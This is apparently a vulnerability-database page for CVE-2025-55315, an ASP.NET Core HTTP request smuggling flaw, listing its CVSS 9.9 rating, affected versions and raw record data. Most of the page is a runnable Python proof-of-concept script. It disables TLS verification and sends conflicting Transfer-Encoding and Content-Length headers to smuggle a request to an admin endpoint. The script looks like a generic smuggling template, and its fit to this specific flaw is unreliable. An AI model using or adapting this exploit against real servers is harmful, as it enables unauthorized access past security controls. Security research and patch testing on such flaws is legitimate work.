Security Vulnerability Report
中文
CVE-2025-55315 CVSS 9.9 CRITICAL

CVE-2025-55315

Published: 2025-10-14 17:15:45
Last Modified: 2025-10-28 21:15:38

Description

Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an authorized attacker to bypass a security feature over a network.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:microsoft:asp.net_core:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:asp.net_core:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:asp.net_core:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft ASP.NET Core 8.0 < 8.0.21
Microsoft ASP.NET Core 9.0 < 9.0.10
Microsoft ASP.NET Core 10.0 < 10.0.0-rc.2.25517.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55315 PoC - ASP.NET Core HTTP Request Smuggling # This PoC demonstrates the HTTP request smuggling technique targeting ASP.NET Core # The vulnerability exists due to inconsistent interpretation of HTTP requests import socket import ssl TARGET_HOST = "target.example.com" TARGET_PORT = 443 USE_HTTPS = True def craft_smuggled_request(): """ Craft a malicious HTTP request that exploits the inconsistent parsing between the front-end proxy and ASP.NET Core backend. The key is using conflicting Transfer-Encoding and Content-Length headers, or using obfuscated Transfer-Encoding that the backend interprets differently. """ # Smuggled request body - this will be interpreted as a new request by the backend smuggled_request = ( "GET /admin/sensitive-endpoint HTTP/1.1\r\n" "Host: target.example.com\r\n" "Authorization: Bearer smuggled-token\r\n" "\r\n" ) # Main request with chunked encoding and smuggled payload # Using Transfer-Encoding obfuscation to bypass proxy parsing payload = ( "POST /api/authenticated-endpoint HTTP/1.1\r\n" "Host: target.example.com\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Transfer-Encoding: chunked\r\n" "Transfer-encoding: identity\r\n" # Duplicate/conflicting TE header "Content-Length: 0\r\n" "\r\n" "0\r\n" "\r\n" ) # Append smuggled request after chunked terminator # The front-end sees the request ending at chunked terminator # The backend may process the remaining bytes as a new request payload += smuggled_request return payload def send_smuggling_request(host, port, use_https=False): """Send the crafted smuggling request to the target server.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if use_https: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = context.wrap_socket(sock, server_hostname=host) try: sock.connect((host, port)) payload = craft_smuggled_request() sock.sendall(payload.encode()) # Receive response response = sock.recv(4096) print("[*] Response received:") print(response.decode('utf-8', errors='replace')) # Send a normal request to trigger the smuggled request processing normal_request = ( "GET / HTTP/1.1\r\n" "Host: target.example.com\r\n" "\r\n" ) sock.sendall(normal_request.encode()) # The response to the smuggled request may come back here response2 = sock.recv(4096) print("[*] Second response (may contain smuggled response):") print(response2.decode('utf-8', errors='replace')) finally: sock.close() if __name__ == "__main__": print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print("[*] Sending HTTP Request Smuggling payload...") send_smuggling_request(TARGET_HOST, TARGET_PORT, USE_HTTPS)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55315", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:44.960", "lastModified": "2025-10-28T21:15:37.933", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an authorized attacker to bypass a security feature over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:asp.net_core:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.0", "versionEndExcluding": "2.3.6", "matchCriteriaId": "3FFD93B1-E2BC-4183-AF00-E8076AE481EB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:asp.net_core:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.21", "matchCriteriaId": "CF3C03E8-F428-4E48-9E44-C2BFB5063C93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:asp.net_core:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.0.10", "matchCriteriaId": "79900862-C5E8-49CC-B3CB-C29E8E105462"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.10.0", "versionEndExcluding": "17.10.20", "matchCriteriaId": "D1CC80FE-4DE3-4AC2-AB45-AEEE2A90B3ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.12.10", "versionEndExcluding": "17.12.13", "matchCriteriaId": "30CA6B37-C8AE-47E1-AC0C-64A092CD880D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.14.0", "versionEndExcluding": "17.14.17", "matchCriteriaId": "B906E822-E6EF-4890-A100-4BA93187BCD6"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://gist.github.com/N3mes1s/d0897c13ca199e739ecc2b562f466040", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}